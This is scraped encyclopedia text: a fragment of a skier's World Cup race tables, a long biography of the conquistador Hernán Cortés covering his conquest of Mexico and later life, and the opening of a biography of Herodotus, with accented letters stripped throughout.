                    	29 December 1998

                    	[image: Flag of Italy] Bormio
                  


                  
                    	27 November 1999

                    	[image: Flag of the United States] Beaver Creek
                  


                  
                    	8 January 2000

                    	[image: Flag of France] Chamonix
                  


                  
                    	29 January 2000

                    	[image: Flag of Germany] Garmisch-Partenkirchen
                  


                  
                    	2 December 2000

                    	[image: Flag of the United States] Beaver Creek
                  


                  
                    	9 December 2000

                    	[image: Flag of France] Val d'Isre
                  


                  
                    	20 January 2001

                    	[image: Flag of Austria] Kitzbhel
                  


                  
                    	2 March 2001

                    	[image: Flag of Norway] Kvitfjell
                  


                  
                    	8 March 2001

                    	[image: Flag of Sweden] re
                  


                  
                    	6 December 2003

                    	[image: Flag of the United States] Beaver Creek
                  


                  
                    	14 February 2004

                    	[image: Flag of Austria] St. Anton am Arlberg
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                    	[image: Flag of Norway] Kvitfjell
                  


                  
                    	28 January 2006

                    	[image: Flag of Germany] Garmisch-Partenkirchen
                  

                


                Giant slalom
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                    	25 November 1997

                    	[image: Flag of the United States] Park City
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                    	[image: Flag of Austria] Saalbach-Hinterglemm
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                    	[image: Flag of Switzerland] Adelboden
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                    	[image: Flag of Austria] Slden
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                    	[image: Flag of Switzerland] Adelboden
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                    	[image: Flag of France] Tignes
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                    	[image: Flag of the United States] Beaver Creek
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                    	[image: Flag of Germany] Todtnau
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                    	[image: Flag of Austria] Slden
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                    	[image: Flag of Switzerland] Adelboden
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                    	[image: Flag of Japan] Shigakogen
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                    	[image: Flag of Sweden] re
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                    	[image: Flag of Austria] Solden
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                          	Date

                          	Location
                        


                        
                          	23 February 1997

                          	[image: Flag of Germany] Garmisch-Partenkirchen
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                          	30 November 2003
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                          	1 February 2004
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                          	24 January 2005
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                          	[image: Flag of Switzerland] Wengen/ Veysonnaz
                        

                      

                    
                  

                


                Besides skiing


                Hermann also won an all-around sports competition, the 2001 edition of the American Superstars competition.
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              	Hernn Corts
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                  Hernn Corts in a contemporary rendition
                

              
            


            
              	Born

              	1485

              Medelln, Badajoz, Extremadura, Spain
            


            
              	Died

              	December 2, 1547

              Castilleja de la Cuesta, Seville, Andalusia, Spain
            

          


          Hernn Corts de Monroy y Pizarro, 1st Marqus del Valle de Oaxaca ( 1485 December 2, 1547) was a Spanish conquistador who initiated the conquest of the Aztec Empire on behalf of Charles V, king of Castile and Holy Roman Emperor, in the early 16th century. Corts was part of the generation of Spanish colonizers that began the first phase of the Spanish colonization of the Americas.


          Born in Medelln, Extremadura, in Castile, to a family of lesser nobility, Corts chose to pursue a livelihood in the New World. He went to Hispaniola and later to Cuba, where he received an encomienda and, for a short time, became alcalde (mayor) of a small town. In 1519, he was elected captain of the third expedition to the mainland, an expedition which he partly funded. His enmity with the governor of Cuba, Diego Velzquez de Cullar, resulted in the latter recalling the expedition at the last moment, an order which Corts ignored. Arriving on the continent, Corts executed a successful strategy of allying with some indigenous peoples against others. He also used a native woman, Doa Marina, as interpreter; she would later bear Corts a son. When the Governor of Cuba sent emissaries to arrest Corts, he fought them and won, using the extra troops as reinforcements. Corts wrote letters directly to the king asking to be acknowledged for his successes instead of punished for mutiny. After he overthrew the Aztec empire, Corts was awarded the title of Marqus del Valle de Oaxaca, while the more prestigious title of Viceroy was given to a high-ranking nobleman, Antonio de Mendoza. Corts returned to Spain in 1541 where he died peacefully but embittered.


          Because of the controversial undertakings of Corts and the scarcity of reliable sources of information about him, it has become difficult to assert anything definitive about his personality and motivations. Early lionizing of the conquistadors did not encourage deep examination of Corts. Later reconsideration of the conquistadors' character in the context of modern anti-colonial sentiment and greatly expanded concern for human rights, as typified by the Black Legend, also did little to expand our understanding of Corts as an individual. As a result of these historical trends, descriptions of Corts tend to be simplistic, and either damning or idealizing.


          


          Name


          While he is now often referred to as Hernn Cortz, in his time he called himself Hernando Corts or Fernando Corts. In Castillian Spanish, z and s are different sounds (/s/ and //, respectively). And (in Spanish) Corts's name has the s sound. Even so, the English pronunciation of his name is IPA: [kɔrˈtɛz], enPR: kr-tĕzʹ (in Spanish, however, his name is pronounced IPA: [koɾˈtes]).


          Hernn, Hernando, and Fernando all are equally correct. The latter two were most commonly used during his life time, but the former short form has become most common in both the Spanish and English languages in modern times, and is the name by which most people know him today.


          


          Early life


          Corts was born in Medelln, in the province of Extremadura, in the Kingdom of Castile in Spain in 1485. His father, Martn Corts de Monroy, born in 1449 son of Rodrigo or Ruy Fernndez de Monroy and wife Mara Corts, was an infantry captain of distinguished ancestry but slender means. His mother was Catalina Pizarro Altamirano. Through his mother, Hernn was second cousin once removed of Francisco Pizarro, who later conquered the Inca empire of modern-day Peru (not to be confused with another Francisco Pizarro who joined Corts to conquer the Aztecs), through her parents Diego Altamirano and wife and cousin Leonor Snchez Pizarro Altamirano, first cousin of Pizarro's father. Through his father, Hernn was a twice distant relative of Nicols de Ovando y Cceres, the third Governor of Hispaniola. His paternal grandfather was a son of Rodrigo de Monroy y Almaraz, 5th Lord of Monroy, and wife Menca de Orellana y Carvajal.


          Hernn Corts is described as a pale, sickly child by his biographer, chaplain, and friend Francisco Lpez de Gmara. At the age of 14, Corts was sent to study at the University of Salamanca. This was Spain's great centre of learning, and while accounts vary as to the nature of Corts' studies, his later writings and actions suggest he studied Law and probably Latin.


          After two years, Corts, tired of schooling, returned home to Medelln, much to the irritation of his parents, who had hoped to see him equipped for a profitable legal career. However, those two years at Salamanca, plus his long period of training and experience as a notary, first in Seville and later in Hispaniola, would give him a close acquaintance with the legal codes of Castile that was to stand him in good stead in justifying his unauthorized conquest of Mexico.


          At this point in his life, Corts was described by Gmara as restless, haughty, and mischievous. This was probably a fair description of a sixteen-year-old boy who had returned home only to find himself frustrated by life in his small provincial town.


          By this time, news of the exciting discoveries of Columbus in the New World was streaming back to Spain.


          


          Departure for the New World


          
            [image: Contemporary painting of Hern�n Cort�s.]

            
              Contemporary painting of Hernn Corts.
            

          


          Plans were made in 1502 for Corts to sail to the Americas with a family acquaintance and distant relative, Nicols de Ovando y Cceres, the newly appointed governor of Hispaniola (currently Haiti and the Dominican Republic), but an injury he sustained while hurriedly escaping from the bedroom of a married woman of Medelln prevented him from making the journey. Instead, he spent the next year wandering the country, probably spending most of his time in the heady atmosphere of Spain's southern ports, listening to the tales of those returning from the Indies, who told of discovery and conquest, gold, Indians and strange unknown lands.


          


          Arrival


          Corts did not arrive in the " New World" until he finally succeeded in reaching Hispaniola in a ship commanded by Alonso Quintero, who tried to deceive his superiors and reach the New World before them in order to secure personal advantages. Quintero's mutinous conduct may have served as a model for Corts in his subsequent career. The history of the conquistadores is rife with accounts of rivalry, jockeying for position, mutiny, and betrayal.


          Upon his arrival in 1503 in Santo Domingo, the capital of Hispaniola, the eighteen-year-old Corts registered as a citizen, which entitled him to a building plot and land for cultivation. Soon afterwards, Ovando, still the governor, gave him a repartimiento of Indians and made him a notary of the town of Azuza. His next five years seem to have served to establish him in the colony; in 1506, Corts took part in the conquest of Hispaniola and Cuba, receiving a large estate of land and Indian slaves for his efforts.


          


          Corts in Cuba


          In 1510, he accompanied Diego Velzquez de Cullar, an aide of the governor of Hispaniola, in his expedition to conquer Cuba. At the age of 26, Corts was made clerk to the treasurer with the responsibility of ensuring that the Crown received the quinto, or customary one-fifth of the profits from the expedition.


          The governor of Cuba, Diego Velzquez, was so impressed with Corts that he secured a high political position for him in the colony. Corts continued to build a reputation as a daring and bold leader. He became secretary for Governor Velzquez. Cortes was appointed mayor ( alcalde) of Santiago. In Cuba, Corts became a man of substance with a repartimiento of Indians, mines and cattle. In 1514, Corts led a group demanding that more Indians be assigned to the settlers.


          As time went on, relations between Corts and governor Velzquez became strained. The governor twice jailed the young cavalier although each time Corts managed to escape.


          Corts also found time to become romantically involved with Catalina Xurez (or Jurez), the sister-in-law of Governor Velzquez. Part of Velzquez' displeasure seems to have been based on a belief that Corts was trifling with Catalina's affections. Corts was temporarily distracted by one of Catalina's sisters but finally married Catalina, reluctantly, under pressure from Governor Velzquez. However, by doing so, he hoped to secure the good will of both her family and that of Velzquez .


          It was not until he had been almost 15 years in the Indies, that Corts began to look beyond his substantial status as mayor of the capital of Cuba and as a man of affairs in the thriving colony. He missed the first two expeditions, under the orders of Francisco Hernndez de Crdoba and then Juan de Grijalva, sent by Diego Velzquez to Mexico in 1517-1518.


          


          The Invasion of Mexico
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              Map depicting Cortes' invasion route
            

          


          In 1518 Velzquez put him in command of an expedition to explore and secure the interior of Mexico for colonization. At the last minute, due to the old gripe between Velzquez and Corts, he changed his mind and revoked his charter. Corts ignored the orders and went ahead anyway, in February 1519, in an act of open mutiny. He landed along with 600 men in the Yucatan Peninsula, in Mayan territory . There, he met Jeronimo de Aguilar, a Spaniard who had survived from a shipwreck and joined the troops . Jeronimo de Aguilar, a Franciscan priest, had learnt Maya during his captivity, and could thus translate for Corts. In March 1519, Corts formally claimed the land for the Spanish crown. He then won a battle against the Natives of Tabasco, during which he received from the vanquished twenty young indigenous women, among whom was La Malinche, his future mistress, who knew both the Nahuatl language and Maya, thus enabling Hernn Corts to communicate in both.


          In July 1519, his men took over Veracruz: by this act, Corts dismissed the authority of the governor of Cuba to place himself directly under the orders of Charles V . Leaving a hundred men in Veracruz, Corts marched on Tenochtitlan in mid-August 1519, along with 400 men, 15 horsemen, 15 cannons, and hundreds of indigenous carriers and warriors . On the way to Tenochtitlan, Corts made alliances with native American polities such as the Nahuas of Tlaxcala, the Tlaxcaltec (defeated in a battle and then made allies), and the Totonacs of Cempoala. In October 1519, Corts and his men, accompanied by about 3,000 Tlaxcalteca, marched to Cholula, the second largest city in central Mexico. Corts, either in a pre-meditated effort to instill fear upon the Aztecs waiting for him at Tenochtitlan or (as he later claimed when under investigation) wishing to make an example when he feared native treachery, infamously massacred thousands of unarmed members of the nobility gathered at the central plaza, then partially burning down the city.


          By the time he arrived in Tenochtitlan the Spaniards had a large army. On 9 November 1519, they were peacefully received by the Aztec Emperor Moctezuma II. The latter deliberately let Corts enter the heart of the Aztec Empire, hoping to get to know their weaknesses better and to crush them later . He gave lavish gifts in gold to the Spaniards which enticed them to plunder vast amounts of gold. In his letters to Charles V, Corts claims to have learned at this point that he was considered by the Aztecs to be either an emissary of the feathered serpent god Quetzalcoatl or Quetzalcoatl himself  a belief which has been contested by some modern historians . But quickly Corts learnt that Spaniards on the coast had been attacked, and decided to take Moctezuma into hostage in his own house, requesting him to swear allegiance to Charles V.


          Meanwhile, the Governor of Cuba sent another expedition, lead by Pnfilo de Narvez, to oppose Corts, arriving in Mexico in April 1520 with 1,100 men . Corts henceforth decided to leave Tenochtitlan to fight Narvez, whom he overcame despite his numerical inferiority . In Mexico, one of Corts' lieutenants Pedro de Alvarado, committed a massacre in the Main Temple, triggering a local rebellion. Corts speedily returned to Mexico and proposed an armistice, attempting to support himself on Moctezuma, but the latter was killed by his subjects on July 1, 1520, and Corts decided to flee for Tlaxcala. During the Noche Triste (30 June-1st July 1520), the Spaniards managed to escape from Mexico, while their backguard was being massacred. Much of the treasure looted by Corts was lost (as well as his artillery) during this panicked escape from Tenochtitlan . After a battle in Otumba, they managed to reach Tlaxcala, after having lost 870 men . With the assistance of their allies, Corts' men finally prevailed with reinforcements arriving from Cuba. Corts began a policy of attrition towards the island city of Tenochtitlan cutting off supplies and subduing the Aztecs' allied cities thus changing the balance, and organizing the siege of Tenochtitlan, destroying the city.


          In January 1521, Corts countered a conspiracy against him, headed by Villafana, who was hanged . Finally, with the capture of Cuauhtmoc, the Tlatoani (ruler) of Tenochtitlan, on 13 August 1521, the Aztec Empire disappeared. From 1521 to 1524, Corts personally governed Mexico .


          


          Appointment to governorship of Mexico and internal dissensions


          
            [image: A painting from Diego Mu�oz Camargo's History of Tlaxcala (Lienzo Tlaxcala), c. 1585, showing La Malinche and Hern�n Cort�s.]

            
              A painting from Diego Muoz Camargo's History of Tlaxcala (Lienzo Tlaxcala), c. 1585, showing La Malinche and Hernn Corts.
            

          


          Many historical sources have conveyed an impression that Corts was unjustly treated by the Spanish Crown, and that he received nothing but ingratitude for his role in establishing New Spain. This picture is the one Corts presents in his letters and in the later biography written by Gomara. However, there may be more to the picture than this. Corts' own greed and vanity may have played a part in his deteriorating position with the King


          
            	"Corts personally was not ungenerously rewarded, but he speedily complained of insufficient compensation to himself and his comrades. Thinking himself beyond reach of restraint, he disobeyed many of the orders of the Crown, and, what was more imprudent, said so in a letter to the emperor, dated 15 October 1524 (Ycazbalceta, "Documentos para la Historia de Mxico", Mexico, 1858, I). In this letter Corts, besides recalling in a rather abrupt manner that the conquest of Mexico was due to him alone, deliberately acknowledges his disobedience in terms which could not fail to create a most unfavourable impression."

          


          King Charles I of Spain, who had become Holy Roman Emperor Charles V in 1519, appointed Corts governor and captain general of the newly conquered territory, dubbed " New Spain of the Ocean Sea". But also, much to the dismay of Corts, four royal officials were appointed at the same time to assist him in his governing  in effect submitting him to close observation and administration. Corts initiated the construction of Mexico City, destroying Aztec temples and buildings and then rebuilding on the Aztec ruins what soon became the most important European city in the Americas. Corts managed the founding of new cities and appointed men to extend Spanish rule to all of New Spain, imposing the encomienda land tenure system in 1524 . He also supported efforts to evangelize the indigenous people to Christianity and sponsored new explorations. He then spent the next seven years establishing peace among the Indians of Mexico and developing mines and farmlands. Corts was one of the first Spaniards to attempt to grow sugar in Mexico and one of the first to import African slaves to early colonial Mexico. At the time of his death his estate contained at least 200 slaves who were either native Africans or of African descent.


          In 1523, the Crown (possibly influenced by Corts' enemy, Bishop Fonseca), sent a military force under the command of Juan de Garay to conquer and settle the northern part of Mexico, the region of Pnuco. This was another setback for Corts who mentions this in his fourth letter to the King in which he describes himself as the victim of a conspiracy by his archenemies Diego Velzquez, Diego Columbus and Bishop Fonseca as well as Juan Garay. The influence of Garay was effectively stopped by this appeal to the King who sent out a decree forbidding Garay to interfere in the politics of New Spain, causing him to give up without a fight.


          From 1524 to 1526, Corts headed an expedition to Honduras where he defeated Cristbal de Olid, who had claimed Honduras as his own under the influence of the Governor of Cuba Diego Velzquez. Fearing that Cuauhtmoc might head an insurrection in Mexico, he brought him with him in Honduras and hanged him during the journey. Raging over Olid's treason, Corts issued a decree to arrest Velzquez, whom he was sure was behind Olid's treason. This, however, only served to further estrange the Spanish Crown which was already beginning to feel anxious about Corts' rising power.
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          Corts's fifth letter to Charles V attempts to justify his conduct and concludes with a bitter attack on various and powerful rivals and enemies who have obscured the eyes of your Majesty. Unfortunately, the Holy Roman Emperor had little time for distant colonies (much of Charles's reign was taken up with wars with France, the German protestants and the expanding Ottoman Empire), except insofar as they contributed to finance his wars. In 1521, year of the Conquest, Charles V was attending to matters in his German domains and Spain was ruled by Bishop (later Pope) Adrian of Utrecht, who functioned as regent. Velzquez and Fonseca persuaded the regent to appoint a commissioner with powers, (a Juez de residencia, Luis Ponce de Len), to investigate Corts's conduct and even arrest him. Corts was once quoted as saying that it was "more difficult to contend against (his) own countrymen than against the Aztecs." Governor Diego Velzquez continued to be a thorn in his side, teaming up with Bishop Juan Rodrguez de Fonseca, chief of the Spanish colonial department, to undermine him at court.


          A few days after Corts' return from his expedition, Ponce de Len suspended Corts from his office of governor of New Spain. The Licentiate then fell ill and died shortly after his arrival, appointing Marcos de Aguilar as alcalde mayor. The aged Aguilar also became sick and appointed Alonso de Estrada governor, who was confirmed in his functions by a royal decree in August 1527. Corts, suspected of poisoning them, refrained from taking over the government. Estrada sent Diego de Figueroa to the south; but de Figueroa raided graveyards and extorted contributions, meeting his end when the ship carrying these treasures sunk. Albornoz persuaded Alonso de Estrada to release Salazar and Chirinos. When Cortes complained angrily after one of his adherent's hand was cut off, Estrada ordered him exiled. Cortes sailed for Spain in 1528 to appeal to Emperor Charles V.


          


          First return to Spain (1528)


          In 1528, Cortes returned to Spain to appeal to the justice of his master, Charles V. He presented himself with great splendor before the court. By this time Charles V had returned and Corts forthrightly responded to his enemy's charges. Denying he had held back on gold due the crown, he showed that he had contributed more than the quinto (one-fifth) required. Indeed, he had spent lavishly to rebuild Tenochtitln, damaged during the siege that brought down the Aztec empire.


          He was received by Charles with every distinction, and decorated with the order of Santiago. In return for his efforts in expanding the still young Spanish Empire, Corts was rewarded in 1529 by being named the "Marqus del Valle de Oaxaca" (Marquis of the Oaxaca Valley), a noble title and senorial estate which was passed down to his descendants until 1811. The Oaxaca Valley was one of the wealthiest region of New Spain, and Corts had 23 000 vassals . Although confirmed in his land holdings and vassals, he was not reinstated as governor and was never again given any important office in the administration of New Spain. During his travel to Spain, his property was mismanaged by abusive colonial administrators. He sided with local Indians in a lawsuit. The Indians documented the abuses in the Huexotzinco Codex.


          


          Return to Mexico
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          Corts returned to Mexico in 1530 with new titles and honours, but with diminished power, a viceroy, Antonio de Mendoza, having been entrusted in 1535 with the administration of civil affairs, although Corts still retained military authority, with permission to continue his conquests. This division of power led to continual dissension, and caused the failure of several enterprises in which Corts was engaged.


          On returning to Mexico, Corts found the country in a state of anarchy. At a time when there was a strong suspicion in court circles of an intended rebellion by Corts, a charge was brought against him that cast a fatal blight upon his character and plans. He was accused of murdering his first wife. The proceedings of the investigation were kept secret. No report, either exonerating or condemning Corts, was published. Had the Government declared him innocent, it would have greatly increased his popularity; had it declared him a criminal, a crisis would have been precipitated by the accused and his party. Silence was the only safe policy, but that silence is suggestive that grave danger was feared from his influence.


          After reasserting his position and reestablishing some sort of order, Corts retired to his estates at Cuernavaca, about 30 miles (48 km) south of Mexico City. There he concentrated on the building of his palace and on Pacific exploration. Remaining in Mexico between 1530 and 1541, Corts quarreled with Nuo Beltrn de Guzmn and disputed the right to explore the territory that is today California with Antonio de Mendoza, the first viceroy. In 1536, Corts explored the northwestern part of Mexico and discovered the Baja California peninsula. Corts also spent time exploring the Pacific coast of Mexico. The Gulf of California was originally named the Sea of Cortes by its discoverer Francisco de Ulloa in 1539. This was the last major expedition by Corts.


          


          Later life and death


          


          Second return to Spain


          After his exploration of Baja California, Corts returned to Spain in 1541, hoping to confound his angry civilians, who had brought many lawsuits against him (for debts, abuse of power, etc. ).


          On his return he was utterly neglected, and could scarcely obtain an audience. On one occasion he forced his way through a crowd that surrounded the emperor's carriage, and mounted on the footstep. The emperor, astounded at such audacity, demanded of him who he was. "I am a man," replied Corts proudly, "who has given you more provinces than your ancestors left you cities."


          


          Expedition against Algiers


          The emperor finally permitted Corts to join himself and his fleet commanded by Andrea Doria at the great expedition against Algiers in the Barbary Coast in 1541, which was then part of the Ottoman Empire and was used as a base by the notorious Turkish corsair Barbarossa Hayreddin Pasha who was also the Admiral-in-Chief of the Ottoman Fleet. During this unfortunate campaign, which was his last, Corts was almost drowned in a storm that hit his fleet while he was pursuing Barbarossa Hayreddin Pasha, who managed to defeat the fleet of Charles V for a second time after the 1538 Battle of Preveza.


          


          Final Days and Death


          Having spent a great deal of his own money to finance expeditions, he was now heavily in debt. In February 1544 he made a claim on the royal treasury, but was given a royal runaround for the next three years. Disgusted, he decided to return to Mexico in 1547. When he reached Seville, he was stricken with dysentery. He died in Castilleja de la Cuesta, Seville province, on December 2, 1547, from a case of pleurisy at age 62.


          Like Columbus, he died a wealthy but embittered man. He left his many mestizo and white children well cared for in his will, along with every one of their mothers. He requested in his will that his remains eventually be buried in Mexico. Before he died he had the Pope remove the "natural" status of three of his children (legitimizing them in the eyes of the church), including Martin, the son he had with Doa Marina (also known as La Malinche), said to be his favorite.


          


          Children


          Natural children of Hernn Corts:


          
            	
              don Martn Corts, son of doa Marina (La Malinche), called the First Mestizo; about him was written The New World of Martn Corts; married doa Bernaldina de Porras and had two children:

              
                	doa Ana Corts


                	don Fernando Corts, Principal Judge of Veracruz. Descendants of this line are alive today in Mexico.

              

            


            	don Luis, son of doa Antonia Hermosillo


            	doa Catalina Pizarro, daughter of his relative doa Leonor Pizarro


            	doa Leonor, daughter of doa Isabel de Moctezuma, the oldest legitimate daughter of Moctezuma II Xocoyotzin


            	doa Mara Corts de Moctezuma, married to don Juan de Tolosa, a miner, daughter of Mexica (Aztec) princess Tecuichpotzin Xocoyotzin, born in Tenochtitlan on July 11, 1510 and died on July 9, 1550, daughter of Moctezuma II Xocoyotzin and wife doa Mara Miahuaxuchitl

          


          He married twice: firstly in Cuba to Catalina Jurez Marcaida, who died at Coyoacn in 1522, without issue, and secondly in 1529 to doa Juana Ramrez de Arellano de Ziga, daughter of don Carlos Ramrez de Arellano, 2nd Count of Aguilar and wife the Countess doa Juana de Ziga, and had:


          
            	don Luis Corts y Ramrez de Arellano, who died a child in Texcoco in 1530


            	doa Catalina Corts de Ziga, who died a short time after birth in 1531


            	don Martn Corts y Ramrez de Arellano, 2nd Marquis of the Valley of Oaxaca, born in Cuernavaca in 1532, married at Nalda on February 24, 1548 his twice cousin once removed doa Ana Ramrez de Arellano y Ramrez de Arellano and had issue, currently extinct in male line


            	doa Mara Corts de Ziga, born between 1533 and 1536, married to don Luis de Quiones y Pimentel, 5th Count of Luna


            	doa Catalina Corts de Ziga, born between 1533 and 1536, died unmarried in Sevilla after the funeral of her father


            	doa Juana Corts de Ziga, born between 1533 and 1536, married Don Fernando Enrquez de Ribera y Portocarrero, 2nd Duke of Alcal de los Gazules, 3rd Marquess of Tarifa and 6th Count of Los Molares, and had issue

          


          


          Disputed interpretation of the life of Corts


          There are relatively few sources to the early life of Corts; his fame arose from his participation in the conquest of Mexico and it was only after this that people became interested in reading and writing about him. Probably the best source is his letters to the king which he wrote during the campaign in Mexico, but they are written with the specific purpose of putting his efforts in a favourable light and so must be read critically. Another main source is the biography written by Corts' private chaplain Lopez de Gmara, which was written in Spain several years after the conquest. Gmara never set foot in the Americas and knew only what Corts had told him, and he had an affinity for knightly romantic stories which he incorporated richly in the biography. The third major source is written as a reaction to what its author calls "the lies of Gomara", the account written by the Conquistador Bernal Daz del Castillo does not paint Corts as a romantic hero but rather tries to emphasize that also Corts' men should be remembered as important participants in the undertakings in Mexico. In the years following the conquest also more critical accounts of the Spanish arrival in Mexico were written. The Dominican friar Bartolom de Las Casas wrote his A Short Account of the Destruction of the Indies in which he raised strong accusations of brutality, and heinous violence towards the Indians against the conquistadors in general and Corts in particular. The accounts of the conquest given in the Florentine Codex by the Franciscan Bernardino de Sahagn and his native informants are also less than flattering towards Corts. The result of the scarce sources to the life of Corts has been sharp divisions in the description of Corts' personality and a tendency to describe him as either a vicious and ruthless person or a noble and honorable cavalier.


          


          Assessment of Corts


          It is extremely difficult to characterize this particular conquistador  his atrocities, his tactical and strategic awareness, the rewards for his Tlaxcalteca allies along with the rehabilitation of the nobility (including a castle for Moctezuma's heirs in Spain that still stands), his respect for Indians as worthy adversaries and family members.


          


          Corts's place in Mexican history
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          The muralist Diego Rivera depicts him as deformed and a bit seasick. However, many landmarks still bear his name, from the castle in the city of Cuernavaca to some street names throughout the republic.


          The only authentic momuments are in the Hospital de Jess Nazareno in Mexico City are at the pass between the volcanoes Ixccahiautl and Popocatepetl where Cortes took his soldiers on their march to Mexico City. It is known as the Paso de Cortes.


          His and his family crypt is at the Hospital de Jess Nazareno in Mexico City. However, his body has been moved more than eight times to avoid destruction. Today, (and unknown to most Mexicans) it is in the "Templo de Jess" in Mexico City with the only statue of Corts in Mexican territory, a statue by Manuel Tols. In 1981 the statue and the body were in danger of destruction by a nationalistic group, after the statue was made public by President Lpez Portillo, so access had to be restricted.


          


          Writings - The Cartas de Relacin


          Corts' personal account of the conquest of Mexico is narrated in his five letters addressed to Charles V, the Holy Roman Emperor. These five letters, or cartas de relacin, are Corts' only surviving writings. See "Letters and Dispatches of Corts," translated by George Folsom (New York, 1843); Prescott's "Conquest of Mexico" (Boston, 1843); and Sir Arthur Helps's "Life of Hernando Cortes" (London, 1871).


          As one specialist describes them...


          
            "The Cartas de relacin have enjoyed an unequaled popularity among students of the Conquest of Mexico. Corts was a good writer. His letters to the emperor, on the conquest, deserve to be classed among the best Spanish documents of the period. They are, of course, coloured so as to place his own achievements in relief, but, withal, he keeps within bounds and does not exaggerate, except in matters of Indian civilization and the numbers of population as implied by the size of the settlements. Even there he uses comparatives only, judging from outward appearances and from impressions. Historians, sociologists, and political scientists use them to glean information about the Aztec empire and the clash between the European and Indian cultures. However, as early as the sixteenth century doubt has been cast on the historicity of these Conquest accounts. It is generally accepted that Corts does not write a true history, but rather combines history with fiction. That is to say, in his narrative Corts manipulates reality in order to achieve his overarching purpose of gaining the favour of the king. Corts applies the classical rhetorical figure of evidentia as he crafts a powerful narrative full of vividness that moves the reader and creates a heightened sense of realism in his letters."

          


          His first letter is lost, and the one from the municipality of Vera Cruz has to take its place. It was published for the first time in volume IV of "Documentos para la Historia de Espaa", and subsequently reprinted. The first carta de relacin is available online at


          The Segunda Carta de Relacion, bearing the date of 30 October 1520, appeared in print at Seville in 1522. The "Carta tercera", 15 May 1522, appeared at Seville in 1523. The fourth, 20 October 1524, was printed at Toledo in 1525. The fifth, on the Honduras expedition, is contained in volume IV of the Documentos para la Historia de Espaa. The important letter mentioned in the text has been published under the heading of Carta indita de Corts by Ycazbalceta. A great number of minor documents, either by Corts or others, for or against him, are dispersed through the voluminous collection above cited and through the Coleccin de Documentos de Indias, as well as in the Documentos para la Historia de Mxico of Ycazbalceta. There are a number of reprints and translations of Corts's writings into various languages.


          


          Ancestors
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                  Ostensible bust of Herodotus
                

              
            


            
              	Born

              	c. 484 BC

              Halicarnassus, Ancient Greece
            


            
              	Died

              	c. 425 BC

              Thurii, Sicily or Pella, Macedon
            


            
              	Occupation

              	Historian
            

          


          Herodotus of Halicarnassus (Greek: Ἡό Ἁᾱύ Hērdotos Halikarnāsses) was a Greek historian who lived in the 5th century BC ( c. 484 BC c. 425 BC) and is regarded as the "Father of History" in Western culture. He was the first historian to collect his materials systematically, test their accuracy to a certain extent and arrange them in a well-constructed and vivid narrative. He is almost exclusively known for writing The Histories, a record of his "inquiries" (or ἱί, a word that passed into Latin and took on its modern connotation of history) into the origins of the Greco-Persian Wars which occurred in 490 and 480- 479 BCespecially since he includes a narrative account of that period, which would otherwise be poorly documented, and many long digressions concerning the various places and peoples he encountered during wide-ranging travels around the lands of the Mediterranean and Black Sea. Although some of his stories are not completely accurate, he states that he is only reporting what has been told him.


          


          Biography


          Much of what is known of Herodotus's life is gathered from his own work. Additional details have been garnered from the Suda, an 11th-century encyclopaedia of the Byzantium which likely took its information from traditional accounts. It holds that he was born in Halicarnassus, the son of Lyxes and Dryo, and the brother of Theodorus, and that he was also related to Panyassis, an epic poet of the time. According to this account, after being exiled from Halicarnassus by the tyrant Lygdamis, Herodotus went to live on Samos. Later returning to the land of his birth, Herodotus took part in the ousting of Lygdamis. The traditional biography includes some time spent in Athens, where he is said to have given public readings from his oeuvres and befriended the dramatist Sophocles. It also has Herodotus joining and founding the Hellenic colony Thurii in Southern Italy in 443 BC. His death and burial are placed either at Thurii or at Pella, in Macedon, between 425 and 420 BC.


          How much of this is correct we do not know. It was common practice in antiquity for the biographies of poets to be drawn from inferences collated from their works. Something similar may have happened in Herodotus's case. His casting as a tyrannicide may simply reflect the pro-freedom attitude that he expresses in the Histories, while the stays at Samos and Athens may have been invented to explain the pro-Samian and pro-Athenian bias that has often been thought to pervade his work. His exile from Halicarnassus may also be fictional: later historians, such as Thucydides and Xenophon, underwent periods of exile, and their fate may have been later retrospectively imposed on Herodotus by later writers.


          


          Herodotus as historian


          
            
              	

              	Circumstances rule men; men do not rule circumstances.
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              Reconstruction of the Oikumene (inhabited world) Ancient Map from Herodotus circa 450 BC
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              Croesus Receiving Tribute from a Lydian Peasant, by Claude Vignon.
            

          


          Herodotus provides much information concerning the nature of the world and the status of the sciences during his lifetime. He was arguably the first historian, and certainly the first to travel methodically around the known world in a bid to write more accurately, although this still involved second- and third-hand accounts relating to his primary subject, the Persian wars.


          He reports, for example, that the annual flooding of the Nile was said to be the result of melting snows far to the south, and comments that he cannot understand how there can be snow in Africa, the hottest part of the known world, offering an elaborate explanation based on the way desert winds affect the passage of the Sun over this part of the world (2:18ff). He also passes on dismissive reports from Phoenician sailors that, while circumnavigating Africa, they "saw the sun on the right side while sailing westwards". Owing to this brief mention, which is put in almost as an afterthought, it has been argued that Africa was indeed circumnavigated by ancient seafarers, for this is precisely where the sun ought to have been.


          Herodotus is one of the sources on Croesus and his fabulous treasures of gold and silver, and many stories about his riches.


          Written between 431 and 425 BC, The Histories were divided by later editors into nine books, named after the nine Muses (the "Muse of History", Clio, represented the first book). His accounts of India are among the oldest records of Indian civilzation by an outsider .


          


          Opinions


          Herodotus's invention earned him the twin titles " The Father of History", first conferred by Cicero, and "The Father of Lies". As these epithets imply, there has long been a debateat least from the time of Cicero's On the Laws (Book 1, paragraph 5)concerning the veracity of his tales and, more importantly, the extent to which he knew himself to be creating fabrications. Every manner of argument has surfaced on this subject, from a devious and consciously-fictionalizing Herodotus to a gullible Herodotus whose sources "saw him coming a long way off".


          


          Criticisms of Herodotus


          There are many cases in which Herodotus, not certain of the truth of a certain event or unimpressed by the dull "facts" that he received, reported the several most famous accounts of a given subject or process and then wrote what he believed was the most probable. Although The Histories were often criticized in antiquity for bias, inaccuracy and plagiarism Claudius Aelianus attacked Herodotus as a liar in Verae Historiae and went as far as to deny him a place among the famous on the Island of the Blessedthis methodology has been seen in a more positive light by many modern historians and philosophers, especially those searching for a paradigm of objective historical writing. Of course, given the sensitivity surrounding the issue, the very foundation of the discipline of history, this has not become a common view; attacks have been made by various scholars in modern times, a few even arguing that Herodotus exaggerated the extent of his travels and invented his sources.


          Discoveries made since the end of the 19th century have helped greatly to restore Herodotus's reputation. The archaeological study of the now-submerged ancient Egyptian city of Heracleion and recovery of the so-called "Naucratis stela" give extensive credibility to Herodotus's previously unsupported claim that Heracleion was founded under the Egyptian New Kingdom. Because of this recent increase in respect for his accuracy, as well as the quality and content of his observations, Herodotus is now recognized as a pioneer not only in history but in ethnography and anthropology.


          


          Gold-digging ants
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              Gold dust and nuggets
            

          


